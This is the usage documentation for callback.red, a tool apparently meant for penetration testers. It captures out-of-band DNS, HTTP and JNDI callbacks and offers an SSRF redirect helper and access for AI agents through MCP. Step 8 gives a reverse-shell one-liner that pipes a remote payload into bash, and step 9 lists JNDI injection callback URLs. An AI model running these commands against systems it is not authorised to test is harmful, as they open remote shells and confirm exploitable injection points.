Usage:
1) Get token and subdomain
$ curl callback.red/get
=> {"key":"<uuid>","subdomain":"<code>.callback.red","rmi":"rmi://jndi.callback.red:5/<code>/","ldap":"ldap://jndi.callback.red:5/<code>/","short_url":"http://callback.red/<code>"}

2) Query logs by key
$ curl callback.red -X POST -d "key=<uuid>"
=> {"code":200,"data":[...]}

3) DNS log
$ ping -c 1 <code>.callback.red

4) HTTP log
$ curl <code>.callback.red -d "test"

5) SSRF redirect helper
$ curl -L callback.red/ssrf/www.example.com/

6) Short URL (requires key)
$ curl callback.red -X POST -d "key=<uuid>&url=http://www.example.com"
=> http://callback.red/<code>

7) Share (same TTL as subdomain; off until enabled). Web UI uses hash link /#/share/<share-uuid>; GET /resolve_share?token=<share-uuid> returns session JSON when enabled.
$ curl callback.red -X POST -d "key=<uuid>&share_enable=1"
$ curl callback.red -X POST -d "key=<uuid>&share_enable=0"

8) Reverse shell payload
$ curl callback.red/sh4ll/1.2.3.4:1234 | bash

9) JNDI callback
rmi://jndi.callback.red:5/<code>/test
ldap://jndi.callback.red:5/<code>/test

10) AI / Agent access (MCP + REST + Skill)
$ claude mcp add --transport http alphalog http://callback.red/api/ai/v1/mcp --header "X-API-Key: <your-key>"
# Agent discovery: curl http://callback.red/api/ai/v1/mcp
# REST: http://callback.red/api/open/v1/{user,domain,codes,logs} (Bearer key)
# Skill: curl -fL http://callback.red/api/ai/v1/skills/alphalog-platform/package.zip

Notice:
Authorized security testing only.

Disclaimer:
By using callback.red, you agree to the following terms:
This project is for authorized security testing and research only.
Any unauthorized use is the sole responsibility of the user.
Users must comply with GPL-2.0 terms:
http://www.gnu.org/licenses/gpl-2.0.html